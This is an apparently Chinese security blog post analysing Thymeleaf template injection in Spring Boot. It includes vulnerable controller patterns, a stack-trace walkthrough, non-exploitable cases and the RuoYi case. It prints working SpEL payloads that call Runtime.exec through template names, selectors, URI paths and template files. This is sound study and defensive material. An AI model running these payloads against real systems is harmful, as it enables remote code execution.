JAVA-SSTI-Thymeleaf

image-20241030231143964

JAVA-SSTI 扫盲篇

springboot与Thymeleaf版本对应关系,在Thymeleaf 3.0.11 及之前没有做安全措施

SpringBoot     Thymeleaf
2.2.0.RELEASE 3.0.11
2.4.10 3.0.12
2.7.18 3.0.15
3.0.8 3.1.1
3.2.2 3.1.2

环境搭建

idea创建springboot项目,更换版本为3.0.11

<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf</artifactId>
<version>3.0.11.RELEASE</version>
</dependency>

<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.11.RELEASE</version>
</dependency>

配置渲染路径

# THYMELEAF (ThymeleafAutoConfiguration)
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
spring.thymeleaf.charset=utf-8
spring.thymeleaf.cache=false

添加报错message信息,不添加无回显

server.error.include-exception=true
server.error.include-message=always

基础知识

一、基础语法:

如果 Web 应用程序基于 Spring,则 Thymeleaf 使用 Spring EL。如果没有,Thymeleaf 使用 OGNL

  • 变量表达式: ${...}
  • 选择变量表达式: *{...}
  • 消息表达: #{...}
  • 链接 URL 表达式: @{...}
  • 片段表达式: ~{...}

其中片段表达式,可以用于引用公共的目标片段比如footer或者header,如下例子

/WEB-INF/templates/footer.html 中定义了 copy 片段

<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">
<body>
<div th:fragment="copy">
&copy; 2011 The Good Thymes Virtual Grocery
</div>
</body>
</html>

我如果想引入footer的copy字段,使用片段表达式

<body>
...
<div th:insert="~{footer :: copy}"></div>
</body>
  1. ~{templatename::selector} 会在 /WEB-INF/templates/目录下寻找名为 templatename 的模版中定义的 fragment,如上面的 ~{footer :: copy}
  2. ~{templatename} 引用整个templatename模版文件作为fragment
  3. ~{::selector}~{this::selector} 引用来自 同一模版文件名为selector的fragmnt

二、表达式预处理:

语法:__${expression}__ ,使用 __ 进行前后包裹,作用是 在正常表达式之前完成的表达式执行,允许修改最终将执行的表达式

#{selection.__${sel.code}__}

三、关于SpEL的RCE基础知识:

https://forum.butian.net/share/2483https://xz.aliyun.com/t/9245

四、DispatcherServlet流程:

见上篇《DispatcherServlet流程简要分析》

原理分析

触发方式分为

  • 视图名可控
    • templatename可控
    • selector可控
    • URI Path可控
  • 模板内容可控
    • 写入模板文件

templatename可控

类似以下controller,return的name可控

@RequestMapping("/thymeleaf1")
public String thymeleafFunc1(@RequestParam String lang) {
return "thymeleaf/" + lang;
}

@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

POC:

::${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("hostname").getInputStream()).next()}__::.x

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("hostname").getInputStream()).next()}__::

image-20241026154651462

在解析模板过程中 org.thymeleaf.spring5.view.ThymeleafView#renderFragment 方法有一个 if 判断viewTemplateName是否含有 :: ,如果含有就会当成 片段表达式 进行处理,这里POC就走到了else分支中

image-20241026155532509

跟进到 StandardExpressionParser#parseExpression

static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
IEngineConfiguration configuration = context.getConfiguration();
String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
if (cachedExpression != null) {
return cachedExpression;
} else {
Expression expression = Expression.parse(preprocessedInput.trim());
if (expression == null) {
throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"");
} else {
ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
return expression;
}
}
}

跟进 StandardExpressionPreprocessor#preprocess ,首先通过正则提取 __ 之间的内容,然后execute执行

image-20241026161029554

image-20241026162309147

跟进execute后,最终在 VariableExpression#executeVariableExpression 后续执行 getValue

image-20241026163739504

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
execute:139, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:112, MethodReference (org.springframework.expression.spel.ast)
getValueInternal:95, MethodReference (org.springframework.expression.spel.ast)
getValueRef:61, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
createNewInstance:122, ConstructorReference (org.springframework.expression.spel.ast)
getValueInternal:108, ConstructorReference (org.springframework.expression.spel.ast)
getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:338, SpelExpression (org.springframework.expression.spel.standard)
evaluate:263, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)

executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1405, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1149, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1088, DispatcherServlet (org.springframework.web.servlet)
doService:964, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doPost:909, FrameworkServlet (org.springframework.web.servlet)
service:696, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:779, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:177, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:891, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1784, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

除了网上大部分的利用预处理流程去执行poc,还可以利用 :: 正常解析为表达式语句,然后命令执行

::${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}

selector可控

类似以下controller,return的name可控

@RequestMapping("/thymeleaf2")
public String thymeleafFunc2(@RequestParam("lang") String lang) {
return "welcome :: " + lang;
}

POC

${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__

流程同上,属于自带 ::

URI Path可控

类似以下controller,return的name可控

@GetMapping("/thymeleaf3/{lang}")
public void thymeleafFunc3(@PathVariable String lang) {
System.out.println(lang);
}

POC

/thymeleaf3/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::.

原理为在后续applyDefaultViewName中如果返回会对ModelAndView中的view属性检查,为空的话就将URI path作为视图名称,后续render时就会执行。

写入模板文件

任意文件写可控模板文件内容,index.html

<p th:text="${__${T (java.lang.Runtime).getRuntime().exec('calc')}__}" xmlns:th="http://www.w3.org/1999/xhtml"></p>

无法利用情况

0x1:配置 @ResponseBody 或者 @RestController

这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。

@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

0x2:redirect: 为首

这样不再由 ThymeleafView来进行解析,而是由 RedirectView 来进行解析

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}

0x3:方法参数添加HttpServletResponse参数

controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}

真实案例

若依的thymeleaf漏洞就是因为其中四个接口方法中设置了片段选择器

/monitor/cache/getNames

/monitor/cache/getKeys

/monitor/cache/getValue

/demo/form/localrefresh/task

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}

所以直接构造poc拼接即可命令执行

${T (java.lang.Runtime).getRuntime().exec("calc")}

3.0.12/15修复

3.0.12:JAVA安全之Thymeleaf模板注入防护绕过 - 先知社区

bypass:URI Path检测 + T字符的完全正则

3.0.15:JAVA安全之Thymeleaf模板注入检测再探 - 先知社区

bypass:只能进行模板文件的修改 + 黑名单类名的绕过

trick与黑名单绕过

Thymeleaf漏洞汇总

Thymeleaf SSTI 分析以及最新版修复的 Bypass

[Thymeleaf ssti 3.1.2 黑名单绕过](https://blog.0kami.cn/blog/2024/thymeleaf ssti 3.1.2 黑名单绕过/)

最新版本thymeleaf防护机制研究及其利用payload

JAVA安全之Thymeleaf模板注入防护绕过

JAVA安全之Thymeleaf模板注入检测再探

2022 网鼎杯玄武组-you can find it 题解

参考

Java安全之Thymeleaf 模板注入分析 - nice0e3

Thymeleaf漏洞汇总

Java安全之Thymeleaf SSTI分析 - Zh1z3ven

Exploiting SSTI in Thymeleaf | Acunetix